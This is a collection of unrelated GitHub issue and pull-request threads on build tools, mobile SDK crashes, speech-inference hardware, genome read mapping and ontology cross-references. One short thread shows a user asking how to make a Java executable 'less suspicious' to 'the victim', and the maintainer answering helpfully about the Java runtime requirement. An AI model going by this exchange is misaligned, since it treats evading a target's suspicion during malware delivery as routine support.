Sorry, I'm not following, I'm not sure why does this matter, except if you are deploying the controller in the host network, which seems it's not the case.


Add a scroll view to the list of included scenes on the Build Window

Overview
When we had a big list of scenes to be included in the build, the layout of the "Unity Build Options" tab in the Build Window would keep growing. Thus, the buttons to open Visual Studio and build the Unity Project can easily become clipped and out of reach. This pull request adds a scroll view to surround the list of scenes in order to avoid this issue.
Before

After

Changes

Fixes: Add a scroll view around the list of scenes to be included in the "Unity Build Options" tab of the Build and Deploy Window.

/azp run


Error while updating property 'cardStyle' of a view managed by: CardField [Android]

Hello, I'm having an issue with CardField component. (@stripe/stripe-react-native": "^0.3.0) When I define colors (backgroundColor, placeholderColor and textColor) I get this error. On iOS everything works perfectly.

Update: The problem is in placeholderColor and textColor.

What values are you setting for placeholderColor? Please fill out the entire bug report template we provide

Closing for inactivity

For me, adding any style causes the crash. My full styles are;
cardStyle={{
  backgroundColor: getColor('white'), // white
  borderColor: getColor('foreground-tertiary'), // hex
  borderRadius: getSpace(2), // number
  borderWidth: getSpace('px'), // number
  cursorColor: getColor('foreground-secondary'), // hex
  fontFamily: 'body-regular', // custom font
  fontSize: getSpace(4), // number
  placeholderColor: getColor('foreground-tertiary'), // hex
  textColor: getColor('foreground-primary'), // hex
  textErrorColor: getColor('error-primary'), // hex
}}

Android only.

In my case I was providing colors in 'rgba' format, e.g. borderColor: 'rgba(1, 83, 12, 0.1)'
CardField on Android uses Color.parseColor(it) which can work only with HEX
Converting colors to HEX helped.

For me this was only happened on textColor when I used a 3 digit hex #000 once I change to #000000 the problem went away.


Error when running download_models.sh

I receive the following error when running download_models.sh:
Using configuration overrides from .env file
docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: error running hook #0: error running hook: exit status 1, stdout: , stderr: Auto-detected mode as 'legacy'
nvidia-container-cli: initialization error: nvml error: driver not loaded: unknown.

I don't have a dedicated GPU and was hoping to run it on the CPU. Do I receive this error because I don't have a GPU? Is it possible to run WIS without a GPU currently? Or there is another issue?

Sorry for the slow response - I somehow missed your first message!
We will soon be releasing WIS 1.0 with drastically improved support for CPU-only configurations. I suggest trying the pre-release:
git checkout wisng```

Follow the guide in the README and WIS should start without issue on your configuration.

Thanks.
I run git checkout wisng and then followed the rest of the instructions. However, when I run ./utils.sh install I get a similar error:
docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: error running hook #0: error running hook: exit status 1, stdout: , stderr: Auto-detected mode as 'legacy'
nvidia-container-cli: initialization error: nvml error: driver not loaded: unknown.

Then, if I try to run ./utils.sh run I get:
Using configuration overrides from .env file
Models not found. You need to run ./utils.sh download-models - exiting

And if I try to run ./utils.sh download-models I get the same message:
Using configuration overrides from .env file
docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: error running hook #0: error running hook: exit status 1, stdout: , stderr: Auto-detected mode as 'legacy'
nvidia-container-cli: initialization error: nvml error: driver not loaded: unknown.

Is this related to my previous attempt to run the older version? I first deleted the old directory and re-cloned before checking out wisng.

Well, it is working. I am probably not telling you something you don't know, but it is significantly slower than with the Tovera hosted best-effort WIS that you are providing. My WIS is running on an Intel NUC with an i7-6770hq and it takes a good 14 seconds to respond to a simple commands (turn off a light), compared to 2 seconds with the hosted WIS...
Issue is, I can't put a GPU in the NUC, and an eGPU case make the whole thing much more expensive.
Anyway, great work and thank you very much for working on the project.

A couple of things:

If you could test it the wisng branch has a dramatically improved version of WIS with improved CPU support (auto-detect, no hacks necessary). This is the version for the upcoming Willow/WIS/WAS 1.0 release.

We talk about it a bit in the README: GPUs are so fundamentally (from a physical architecture standpoint) better at tasks like speech recognition. A $100 six year old Nvidia GPU will beat the fast CPUs on the market at a fraction of the cost and power. We use the same fundamental implementation as faster-whisper (ours is slightly faster in my testing) and there is another CPU optimized implementation called whisper.cpp. WIS, faster-whisper, and whisper.cpp  (the fastest Whisper implementations in the world) on CPU cannot even remotely come close to a GPU. Alexa uses GPUs. Google home uses GPUs (possibly TPUs). Siri uses Apple Neural (with dedicated silicon support) on device and almost certainly GPU in the cloud.

You simply cannot provide the level of speech recognition quality and speed as these commercial devices running on CPU. I understand with a NUC a GPU is infeasible but "it is what it is".
That said, you at least have a decent CPU (there are approaches trying to do voice assistants on a Raspberry Pi, which is ridiculous and a non-starter in my opinion). With wisng you can try different models that trade accuracy for speed.
In your Willow Inference Server URL configuration you can append the model parameter:
http://your-willow-host:your-port?model=your-model-to-try
Where model can be (in order from highest quality/slowest to lowest quality/fastest): large, medium (our default), small, base, or tiny (the default for the Rhasspy/Home Assistant implementation). As you go down the models the speed improves dramatically but the quality drops dramatically too.
We'd definitely be interested to hear your feedback: benchmarking for CPUs is extremely hard because compared to GPU (a Tesla P4 is a Tesla P4, a GTX 1070 is more-or-less a GTX 1070) there are so many CPU variants, memory configurations, etc it's very difficult to predict performance on CPU.

Update: I added some CPU benchmarks to the benchmarks table in wisng. As you can see the fastest CPU I have available (AMD ThreadRipper Pro 5955WX) is 5x slower than a GTX 1070 with our default settings (model medium, beam 1). It's not until you get to the base model on this CPU where you can meet our latency goal of sub-1 second (local) processing times. You're likely getting roughly two seconds on our hosted implementation because it has other load and there is internet latency involved.
To give you an idea of absurd performance with local absurd GPU: in my home environment (with an RTX 3090) I see less than 300ms (current record is 212ms) between end of speech and Home Assistant completing the action. Even a GTX 1070 can do less than 500ms.

Thank you for the information. I did read about the poor performance with CPU so I had low exceptions, however, I didn't expect 14 seconds. By the way, this was with the wisng branch, I believe - I run git checkout wisng before going through the setup. I'll try using different models as you suggested to see what difference it makes. Maybe eventually I'll invest in eGPU case and a GTX 1070.

From what I can tell you must have an older version - did you git pull as well?
Yes, for highly parallel tasks like speech recognition CPU performance is fundamentally terrible by comparison. The GTX 1070 has 1920 cores and 256 GB/s memory bandwidth. The RTX 3090 is 10496 cores and 936 GB/s.
It's not even close - this is why we emphasize "just use a GPU" so heavily.


[bug] Uncaught TypeError: Cannot read properties of undefined (reading 'os')

Describe the bug
I did the project as shown in the docs, but this error is appearing in the browser console.

Reproduction
This happened when I added to the project
// This is the part where the plugin is added to the main function
fn main() {
    tauri::Builder::default()
        .plugin(tauri_plugin_window::init())
        .plugin(tauri_plugin_shell::init())
        .plugin(tauri_plugin_os::init())
        .invoke_handler(tauri::generate_handler![greet])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

Expected behavior
No response
Platform and versions
[✔] Environment
    - OS: Windows 10.0.19045 X64
    ✔ WebView2: 119.0.2151.44
    ✔ MSVC: Visual Studio Build Tools 2019
    ✔ rustc: 1.73.0 (cc66ad468 2023-10-03)
    ✔ cargo: 1.73.0 (9c4383fb5 2023-08-26)
    ✔ rustup: 1.26.0 (5af9b9484 2023-04-05)
    ✔ Rust toolchain: stable-x86_64-pc-windows-msvc (default)
    - node: 20.9.0
    - yarn: 1.22.19
    - npm: 10.2.3

[-] Packages
    - tauri [RUST]: 2.0.0-alpha.17
    - tauri-build [RUST]: 2.0.0-alpha.11
    - wry [RUST]: 0.34.2
    - tao [RUST]: 0.23.0
    - @tauri-apps/api [NPM]: 2.0.0-alpha.11
    - @tauri-apps/cli [NPM]: 2.0.0-alpha.17

[-] App
    - build-type: bundle
    - CSP: unset
    - distDir: ../dist
    - devPath: http://localhost:1420/
    - framework: React
    - bundler: Vite
Done in 10.90s.

Stack trace
Uncaught TypeError: Cannot read properties of undefined (reading 'os')
    at <anonymous>:325:18
    at <anonymous>:326:4
    at <anonymous>:387:3

Additional context
No response

Hi :)
Can you also share the version of the plugin listed in cargo.toml and package.json? And then also your js code please.
Just to make sure everything was set up correctly and that we can try to reproduce it with the same setup.

Hello of course ;-)
Cargo.toml
[package]
name = "tauri-app"
version = "0.0.1"
description = "A Tauri App"
authors = ["Dilshod Fayzullayev"]
license = ""
repository = ""
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[build-dependencies]
tauri-build = { version = "2.0.0-alpha", features = [] }

[dependencies]
tauri = { version = "2.0.0-alpha", features = [] }
tauri-plugin-window = "2.0.0-alpha"
tauri-plugin-shell = "2.0.0-alpha"
serde_json = "1.0"
tauri-plugin-os = "2.0.0-alpha.4"
tauri-plugin-notification = "2.0.0-alpha.5"
tauri-plugin-process = "2.0.0-alpha"
home = "0.5.5"

[features]
# this feature is used for production builds or when `devPath` points to the filesystem
# DO NOT REMOVE!!
custom-protocol = ["tauri/custom-protocol"]

package.json
{
  "name": "tauri-app",
  "private": true,
  "version": "0.0.0",
  "type": "module",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "preview": "vite preview",
    "tauri": "tauri"
  },
  "dependencies": {
    "@fontsource-variable/comfortaa": "^5.0.17",
    "@tauri-apps/api": "^2.0.0-alpha.11",
    "@tauri-apps/plugin-notification": "^2.0.0-alpha.3",
    "@tauri-apps/plugin-os": "^2.0.0-alpha.4",
    "@tauri-apps/plugin-process": "^2.0.0-alpha.3",
    "@tauri-apps/plugin-shell": "^2.0.0-alpha.3",
    "halfmoon": "^2.0.1",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "reactstrap": "^9.2.1"
  },
  "devDependencies": {
    "@tauri-apps/cli": "^2.0.0-alpha.17",
    "@vitejs/plugin-react": "^4.0.3",
    "vite": "^4.4.4"
  }
}

main.rs
// This is the part where the plugin is added to the main function
fn main() {
    tauri::Builder::default()
        .plugin(tauri_plugin_window::init())
        .plugin(tauri_plugin_shell::init())
        .plugin(tauri_plugin_os::init())
        .invoke_handler(tauri::generate_handler![greet])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

Hi :)
Can you also share the version of the plugin listed in cargo.toml and package.json? And then also your js code please. Just to make sure everything was set up correctly and that we can try to reproduce it with the same setup.

Even if I don't call it in javascript, I get this error. When the library is installed and inited to the main.rs file.
OS information can only be obtained from rust code and cannot be obtained from js


Simulating reads and misalignments

Thank you for the work you put on reproducibility.
Nevertheless, I am puzzled while trying to:

reproduce your results -- I am stuck with an issue with pbsim+paftools lh3/minimap2#1121),  I am wondering whether you had issues with NaN's in .maf by paftools (as I described in the minimap2 issue) and whether you considered using a newer version of pbsim (v2 or v3).

evaluate mapquik on a simulated HiFi dataset using the Eskemap pipeline -- mapquik produces unexpectedly many misalignments.  I simply ran mapquik with default parameters on the chm13 Y-chromosome, following the evaluation pipeline of Eskemap, and produced only 1306 alignments for 6938 reads. Do you think the produced reads are somehow fundamentally different to those by pbsim and should I change the parameters for mapquik for this reason? Here is a distilled version of Eskemap's pipeline:

wget 'https://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=nucleotide&id=NC_060948.1&rettype=fasta&retmode=text' -O t2thumanChrY.fasta"
./scripts/simReads.py -dp 10 -lmn 100 -lmx 1000000 -lavg 9000 -ls 7000 -r t2thumanChrY.fasta -sr 0.0001 -dr 0.001 -ir 0.0009 -sd<PHONE_NUMBER>744071834 -o reads.fasta
mapquik reads.fasta --reference genomes/t2thumanChrY.fasta

Thank you, Rayan!

Your response helped me resolve the first issue.
I tested mapquik (up to date, last commit Oct 7) on several HG references with 10kbp and 24kbp reads with 0.1% and 1% errors (using pbsim) but the accuracy (according to mapeval) keeps being extremely low (>99% wrong alignments). Minimap2 on the same data produces very low wrong alignments (<0.2%). I attach what is needed to reproduce. Will be grateful if you could see and let me know what the problem is.

Raw data:
chm13-chr1.fa (~200MB)
Generated reads and outputs:
reads-chm13-chr1-a0.99-d1.fa (~100MB)
minimap.paf
mapquik.paf
Terminal:
mapquik.txt
minimap2.txt
pbsim.txt

Hi Pesho, please make sure your reference genome is in a single line (seqtk seq -AU) as per the readme

Thank you, Rayan! This fixed the issue. Maybe you would like to make it crash for multi-line.

yes indeed, sorry about that.  I view mapquik as a F1 racecar: very quick prototype but would need many quality of life improvements for real use.


why does the exe need java on target machine to run?

cant it run without java to make it less suspicious? because tje victim now has to install java before it will work

The JRE is required, the executable will not work without it. Because the Windows need JRE for translating the program from java byte code to machine language.
In some cases it may become unviable the use for this reason.
I will add this question to the FAQ in readme.

is there no way to make this a standalone executable without prompting the user to install java before it works?

No, it is necessary for the user to have Java installed on the target system.


Reorg device files

Re-organizing quicklogic folder structure. Now files are organised related to device family type. Inside Quicklogic folder, there are folder with family name or common folder.

@lnsharma After merging this you should also probably update the quicklogic-upstream-rebased branch in your github fork by force-pushing it.


Double bounding boxes for the same detected object in a live camera feed

Hi,
I have retrained the SSD-MobileNet model on my own custom dataset (toy motorcycles). For certain orientations of the toy, I am getting two bounding boxes, sometimes with different confidence level. Is it due to limited training data? Or is the reason something else?

Try decreasing the clustering threshold here:
https://github.com/dusty-nv/jetson-inference/blob/19ed62150b3e9499bad2ed6be1960dd38002bb7d/c/detectNet.h#L477
Then re-run make and 'sudo make install'

From: Dreadlocke1984 @.>
Sent: Saturday, July 10, 2021 11:26:45 AM
To: dusty-nv/jetson-inference @.>
Cc: Subscribed @.***>
Subject: [dusty-nv/jetson-inference] Double bounding boxes for the same detected object in a live camera feed (#1146)
Hi,
I have retrained the SSD-MobileNet model on my own custom dataset (toy motorcycles). For certain orientations of the toy, I am getting two bounding boxes, sometimes with different confidence level. Is it due to limited training data? Or is the reason something else?
[Screenshot from 2021-07-10 20-46-29]https://nam11.safelinks.protection.outlook.com/?url=https%3A%2F%2Fuser-images.githubusercontent.com%2F67857441%2F125168044-1ad47100-e1c1-11eb-93fb-1624f3ff56a7.png&data=04|01|dustinf%40nvidia.com|61fd43413949470f192508d943b7211c|43083d15727340c1b7db39efd9ccc17a|0|0|637615276081510479|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|1000&sdata=RWYGdHyUKdP141DCk3EpTDq14kmDH5Xe%2FGdUfGHv5%2BI%3D&reserved=0
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHubhttps://github.com/dusty-nv/jetson-inference/issues/1146, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ADVEGK2RH3KZ2UFMZHMHEGLTXBRDLANCNFSM5AEKRE5A.

Hi @dusty-nv. Thanks for the reply. Do I need to re-run make inside the docker container? Also will I need to create a makefile? I am completely new to all of this.

First I would test your change outside of Docker, by building the project from source.  If your change works, you can rebuild the docker container like here:  https://github.com/dusty-nv/jetson-inference/blob/master/docs/aux-docker.md#building-the-container
Note that rebuilding the docker container will take awhile the first time you do it, and it will also delete your jetson-inference/python/training/detection/ssd/models directory and jetson-inference/python/training/detection/ssd/data directory (so be sure to back those up if you stored your models/dataset there)

Hi @dusty-nv.I built the project from source and now I am able to change the cluster threshold and rebuild the project. It is running fine. Thanks for the help. I was using the pre-built docker image before and was not aware about the building from source option. But now I better understand the difference between the two approaches. Thanks again for the help.

You can re-build the docker container with docker/build.sh, but it will take awhile to build and also backup your models and datasets under python/training/classification and python/training/detection/ssd because those get deleted during the container build.

From: Dreadlocke1984 @.>
Sent: Saturday, July 17, 2021 10:56:01 AM
To: dusty-nv/jetson-inference @.>
Cc: Dustin Franklin @.>; Mention @.>
Subject: Re: [dusty-nv/jetson-inference] Double bounding boxes for the same detected object in a live camera feed (#1146)
Closed #1146https://github.com/dusty-nv/jetson-inference/issues/1146.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/dusty-nv/jetson-inference/issues/1146#event-5034165936, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ADVEGK6MZTN24KCYEJRO3CLTYGKYDANCNFSM5AEKRE5A.


Update algorithm and correct encoding speeds formula

Update algorithm according to the source codes

Correct encoding speeds formula which expresses the computation cost:
For traditional codes (e.g. ISAL): encoding speeds ~ n-k
For FFT-based codes: encoding speeds ~ n

@vrancurel : it's done ;)

Thank you!


Remove the liquibase step from the Maven build

Remove the liquibase step from the Maven build
Context
When we build with mvn install the project, a liquibase of the database is made during the generate-sourecs phase. This induce 2 problems :

The build needs a database up & running to be performed, and fails if we just want to build it locally or run unit tests
It will consume useless resources (time & cpu) when working locally or when building for integration on several snapshot of the same version.

Expected
We may need to remove the liquibase tasks from the maven build lifecycle, and launch it with CD instead of each build.
It can also be good to separate all the database related code & resources (liquibase datas, liquibase maven plugin, and even the db folder) in a dedicated maven module (just like the ara-client and ara-server, we can have a ara-db).

Will be released in version 4.0.0


Kairos derivative images start all services when missing machine-id file

Kairos version:
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
KAIROS_NAME="kairos-core-ubuntu-20-lts"
KAIROS_VERSION="v2.0.2"
KAIROS_ID="kairos"
KAIROS_ID_LIKE="kairos-core-ubuntu-20-lts"
KAIROS_VERSION_ID="v2.0.2"
KAIROS_PRETTY_NAME="kairos-core-ubuntu-20-lts v2.0.2"
KAIROS_BUG_REPORT_URL="https://github.com/kairos-io/kairos/issues"
KAIROS_HOME_URL="https://github.com/kairos-io/kairos"
KAIROS_IMAGE_REPO="quay.io/kairos/core-ubuntu-20-lts"
KAIROS_IMAGE_LABEL="latest"
KAIROS_GITHUB_REPO="kairos-io/kairos"
KAIROS_VARIANT="core"

CPU architecture, OS, and Version:
Linux localhost 5.15.0-69-generic #76~20.04.1-Ubuntu SMP Mon Mar 20 15:54:19 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Describe the bug
We built a derivative image from base kairos images and remove the machine-id file, and build iso , we see all the kairos services start - kairos-interactive kairos-reset kairos-install.
To Reproduce
create a dockerfile with below contents
FROM quay.io/kairos/core-ubuntu-20-lts:v2.0.2
RUN apt-get clean && rm -rf /var/cache/* && rm -rf /etc/machine-id && rm -rf /var/lib/dbus/machine-id && rm -rf /etc/hostname

Build iso e.g
quay.io/kairos/osbuilder-tools:v0.6.1 --name spectro-edge-installer-ubuntu-20 --debug build-iso --squash-no-compression --date=false docker:gcr.io/spectro-dev-public/palette/edge/capv-kairos-ubuntu-20/spectro-edge-installer-ubuntu-20:0.0.0-97a0c337 --local --overlay-iso /cOS/overlay/files-iso --output /cOS/
Boot the iso into manual mode
We can see all the services start and the system enters interactive mode
pr 24 20:18:50 localhost systemd[1]: Starting Remove Stale Online ext4 Metadata Check Snapshots...
Apr 24 20:18:50 localhost systemd[1]: Condition check resulted in getty on tty2-tty6 if dbus and logind are not available being skipped.
Apr 24 20:18:50 localhost systemd[1]: Condition check resulted in Record successful boot for GRUB being skipped.
Apr 24 20:18:50 localhost systemd[1]: Condition check resulted in GRUB failed boot detection being skipped.
Apr 24 20:18:50 localhost systemd[1]: Starting kairos interactive-installer...
Apr 24 20:18:50 localhost systemd[1]: Starting kairos recovery...
Apr 24 20:18:50 localhost systemd[1]: Starting kairos reset...
Apr 24 20:18:50 localhost systemd[1]: Started kairos installer.
Apr 24 20:18:50 localhost systemd[1]: Starting kairos installer...

As a workaround, adding this line to the dockerfile and rebuilding fixes the issue
RUN touch /etc/machine-id && chmod 444 /etc/machine-id
Expected behavior
Booting iso in manual mode should enter autologin prompt.
Logs
journal log with systemd debug and dracut debug attached
Additional context

out.log

weird, according to this if it cant find the file it will treat it as a first boot and bind mount a temporary file and generate a machine id. So even if its not there, it should bind mount that file.
@venkatnsrinivasan why are you folks removing the machine-id file? Why not truncate it? There may be issues with systemd trying to bind mount into a RO dir, but not sure what you gain by removing that.

@Itxaka we can truncate. We were removing it because

In general habit we have done this before when building golden VM images and didn't cause any issues
The kairos base image Dockerfile definitions do the same - https://github.com/kairos-io/kairos/blob/master/images/Dockerfile.ubuntu-22-lts#L94

This, was fine in v1.5.0 of kairos and didnt cause any issues .We observe this once we moved to 2.0.x

The machine-id file does get generated even when we move it. In this particular issue, it seems some timing is going on where that additional time to generate causes other things do weird things , but i am not sure.

Indeed base dockerfile does, but when building the real image and/or framework, we regenerate and touch an empty machine-id file, I'm guessing there were some issues with no having the file and it was decided to touch it so nothing fails.
Notice that the immutability changed a lot between 1.5 and 2.0, it's now done even earlier in the boot process so it might contribute to having this issues now.
We don't recommend removing the machine-id manually. In systemd based os, systemd will fill it properly if needed and only when it boots in a system, not when running as a container, so there should be no issue in leaving the file alone.
I will revisit the base dockerfiles tomorrow as I'm not sure we should be deleting in in there either.

Sure , we will leave it truncated. Just the behaviour is different in Kairos 1.5 vs 2.0 which is what we observed now even though the systemd hasnt changed.

@Itxaka if the file shouldn't be deleted, then there is nothing to do. Free free to close this issue.


Cannot create meta_any from pointer to const registry

The instantiation of the dereference operator in meta_any seems to be doing a copy inside it when the pointed-to type is const, which is failing because the registry is not copyable.
It would be good if we can keep const pointers to registry in the meta_any objects, so that we don't need to remove const from the registry in places where meta anys are being created, such as invoking meta functions that take a const registry pointer.

As discussed on discord, I need to check if a pointer-like type is also copyable other than non-const. In all other cases, an empty meta_any is returned.

Should probably be an assert in there if you dereference a pointer to const meta any because otherwise getting an empty result might be really hard to debug if you don't realise what's going on.

Fair enough. What if the type isn't a pointer-like one though? Still an assert as if it was but it's const and non-copyble?
Note that for const bit copyable types, derefencing a meta any triggers a copy of the dereferenced type. In all other cases you receive an aliased object instead.


Test data used to validate the test

It is good to add the test data used to validate the scenario on either pass/fail.
for example user name and password used to login to the app.
May be you can specify an object to use in the tests to add custom message(test data) to the report by the user.

I'm not too sure what I understand by "add the test data".  Are you referring to a more detailed, more Minitest-y description of the error?  An error message would only be shown on failure, so how would that help with passing tests?

Hi Chris,
I was referring to an option to write something to the report (optional)
even when the Testcase is passed.
As example, if my testcase Login with different accounts passed, how do I
confirm my Manager that which users were used to login? So if I can write
some custom message that userA, UserB, userC login was success then this
will give the report viewer (Managers) that the so and so users were used
rather looking into the data.yml files.
Hope I'm clear.
Thanks,
Hasham
On Sun, Feb 28, 2016 at 10:12 PM, Chris Kottom<EMAIL_ADDRESS>wrote:

I'm not too sure what I understand by "add the test data". Are you
referring to a more detailed, more Minitest-y description of the error? An
error message would only be shown on failure, so how would that help with
passing tests?
—
Reply to this email directly or view it on GitHub
https://github.com/chriskottom/minitest-hyper/issues/11#issuecomment-190059684
.


Add support for proxy authentication

Context: https://github.com/GoogleCloudPlatform/bigdata-interop/commit/bc8f6c6dc9aa7c5586376e830c3dbec0427fa815#commitcomment-29791973

For all Proxy types or some of them ? (Apache?).


Poc branch

i think i am trying to merge your version to main. let me know if i am crashing github.

i think i am trying to merge your version to main. let me know if i am crashing github.

Lol, no worries, Ill check


Fixing JSON syntax

I signed it

I've forwarded this PR to merge internally.  It should roll out in a future update.  Thanks for identifying the issue.


Where is the demo code?

I can't find the demo code now. Where is the demo code?
Thanks!

The docs were just restructured. Most of the demos are now in the code section. I hope that helps.

Thanks！


CTRL+C not working

VSCode Version: Code 1.12.2 (19222cdc84ce72202478ba1cec5cb557b71163de, 2017-05-10T13:20:36.315Z)
OS Version: Windows_NT ia32 10.0.14393
Extensions:

Extension
Author
Version

PowerShell
ms-vscode
1.1.0

Steps to Reproduce:

Open VS Code from the start menu.
Copy some text with CTRL+c
Paste with CTRL+v
Note the paste does not load the previous text from the clipboard.

Note:  Edit/Copy & Edit/Paste work fine.

Can you try downloading the Insiders' build and tell me whether it reproes there? https://code.visualstudio.com/insiders

Copy/Paste work fine in the Insiders' build.  Thanks for the link!

I just experienced the same thing, ctrl-c would copy text from the terminal although the editor was active. Can't reproduce though. v1.14.0


Implement pagination for /grading endpoint

As of 2018 September 3, noon SGT, this endpoint returns 1MB, which is way too large.

note that this will break the filter function. I propose aside from the offset and limit we add a search parameter to the grading endpoint.

This is quite important—for the 1910 database, with 27532 submissions, the grading?group=false endpoint returns 11MB of JSON, and takes about 500ms of DB time and 1.5 seconds in the backend formatting the DB result into JSON.
It also takes about 500MB of memory, so if 2-3 people hit grading?group=false at the same time and their requests hit the same node, the backend process will run out of memory and get killed. That's not fatal, since the backend will be auto-restarted, but not ideal.

@Aulud can you get the pagination to work?

There's an alternative I think, which I'm going to try, which is using PostgreSQL to return JSON directly. If this is efficient enough, I think we can deal with not having server-sided pagination; there are downsides to server-sided pagination, which is that filtering has to be done on the server-side.
It sort of bypasses Ecto (our ORM) but, given that this has shown to be an issue, it is a possible solution and a justifiable breaking of abstraction.

Ok, I've implemented it: https://github.com/source-academy/cadet/commit/b122b762cb60a501c2ee604f57329b37832c0173#diff-dca74d377a1109f871379f3136aec589R797
It now takes about 500ms to respond (acceptable) and it is now much harder to cause an out-of-memory condition :)
I benchmarked: on our usual micro instance (on staging), it handles 500 simultaneous requests without crashing; although it is not able to serve all the requests, it doesn't crash catastrophically.
I now think we do not need server-side pagination.


C++: Make IR dump and AST dump tests use the official graph query format

This PR updates the existing IR dump and AST dump queries (and their tests) to use @kind graph, now that QLTest supports deterministic text dumps of graphs.
These changes had already been reviewed before the QL repo was made public. Now that the corresponding odasa changes have gone in, the corresponding QL changes are ready to merge as well.
The changes in IRBlock.qll are due to fixing up newlines to be LF, per the style guidelines, except that I added to getDisplayIndex member predicate.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Update the Note of register doc to support general installation

What type of PR is this?
/kind cleanup

What this PR does / why we need it:
Now the multi installation can support for register command, so update the doc note.
Which issue(s) this PR fixes:
Fixes #
Special notes for your reviewer:
/cc @RainbowMango @calvin0327 @Poor12

/lgtm


I am having this error since yesterday.

Check your rights in IAM, and try to reload the page or enter through another browser or incognito mode. This is 99.99% not the problem of terraform cause from what I see you even can't list the Lambda Functions on your account

It appears to be a common issue.

@zdoryk Do you think this issue could occur because of credentials leak in the commit? Specifically ACCESS_KEY_ID and SECRET_ACCESS_KEY.

Opening AWS in incognito worked, thanks. everything else didn't work. I removed access key from aws yesterday, so that probably didn't cause the error.


Crash when screen rotate

Hi,
Application get crashing on time of screen rotation.In sample app itself crashing.

I created a pull request to solve it #80

Hi @sakaravinth
please test the current repo, and let me know the result.
Thanks guys @kaminiksharma @sonique6784

Hi All
Its working after   removing mainFragment.onDestroy() in mainactivity.
Thanks guys @evrencoskun  @kaminiksharma @sonique6784


I ssearch a user named 505 but show out to be a wrong one

Describe the bug
Wrong search result
I search user 505 but turned out to be other user i dont know

Environment
Postcat v0.1.0

感谢反馈，已经排查修复


Provide link (anchors) to sub-topics on the docs.openebs.io

We need to have a tree-view like structure on the sidebar OR have a menu in every major page - consisting of links to the sub-topics. A case in point is : the storage pool policy info can be reached by scrolling down in the policies page - we should ideally have a link to reach the intended section : https://docs.openebs.io/docs/storagepolicies.html

@ksatchit Something like this

The sidebars have been included in the openebs-docs -


Update nightly workflows

Codecov Report
Patch and project coverage have no change.

Comparison is base (98f4091) 100.00% compared to head (fa223ca) 100.00%.

Additional details and impacted files
@@            Coverage Diff            @@
##              main      #251   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files          315       315
  Lines         9788      9788
  Branches       949       949
=========================================
  Hits          9788      9788

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Deploy with GitHub Pages

Provide whatever tools are necessary to let GitHub users deploy Static Shock websites through GitHub pages.

GitHub deployment is covered in this guide: https://staticshock.io/guides/deploy-to-github-pages/


fix EC xref of alpha-glucosidase

The problematic EC comes from https://github.com/geneontology/go-ontology/commit/f8fa1db0754867cd7c6d4e4e524ced7ef01e54a9#diff-3cf7b2b4f9db4df4cae7c72388fdba78R446074 by @hdrabkin. Sorry to be so obnoxious :wink: Here the entry is parent to all sorts of alpha-glucosidases which have their own EC so it can't really have this EC, rather 3.2.1.- (broad mapping type).
id: GO:0090599
name: alpha-glucosidase activity
def: "Catalysis of the hydrolysis of terminal, non-reducing alpha-linked alpha-D-glucose residue with release of alpha-D-glucose." [GOC:tb]
xref: EC:<IP_ADDRESS>
is_a: GO:0015926 ! glucosidase activity

@hdrabkin Would it be helpful if I opened pull requests for the more simple issues like these? I'm hesitating since you are assigned to this ticket.

No; I need to think more about this.
Specifically, this entry using this def seems valid as a stand alone for the alpha glucosidase.
BUT
3.2.1.- covers a lot other (enzymes hydrolyzing O- and S-glycosyl compounds.) and would actually be a parent to <IP_ADDRESS> (and is in EC)  however, RHEA does not have a map to this but tdoes to .21 and .19

It also looks like several of the 'children'  of GO:0090599 can be considered children and do use the same EC number, but definition points to slightly different substrates (ie, alpha 1-3 vs alpha 1-4)  (and have no separate EC themselves), but others are actually sibs of GO:0090599 in the EC hierarchy (like EC;<IP_ADDRESS>

BUT 3.2.1.- covers a lot other (enzymes hydrolyzing O- and S-glycosyl compounds.) and would actually be a parent to <IP_ADDRESS>

If you would say GO:0090599 is EC 3.2.1.- that does not mean it's an EXACT association. Here the associated EC 3.2.1.- would be BROAD.

I am not in favor of having a less than 4 digit EC as an XREF, because they are really grouping terms and not equivalent. So, for example, something could be an is_a to a 3 digit EC, because the 3 digit EC would include all of them.  3 digit ECs are really grouping terms. However,  GO:0090599 looks like a grouping term in it's def because one could group the alpha  alpha 1-3 and alpha 1-4 reactions under them. But the term def as it stands (which comes from EC), IS  GO:0090599.
GO:0004553 has an XREF to 3.2.1 (but it's def does not inlcude S-glycosyl, only O-glycosyl

Then just remove the XREF from GO:0090599?

It would still stay as a def ref since that IS the def for the EC.
I was thinking of moving out from under it the things that should be its sibs according to EC; granted ECs mechanistic classification is a little flat

With #17892 this could be resolved easily.

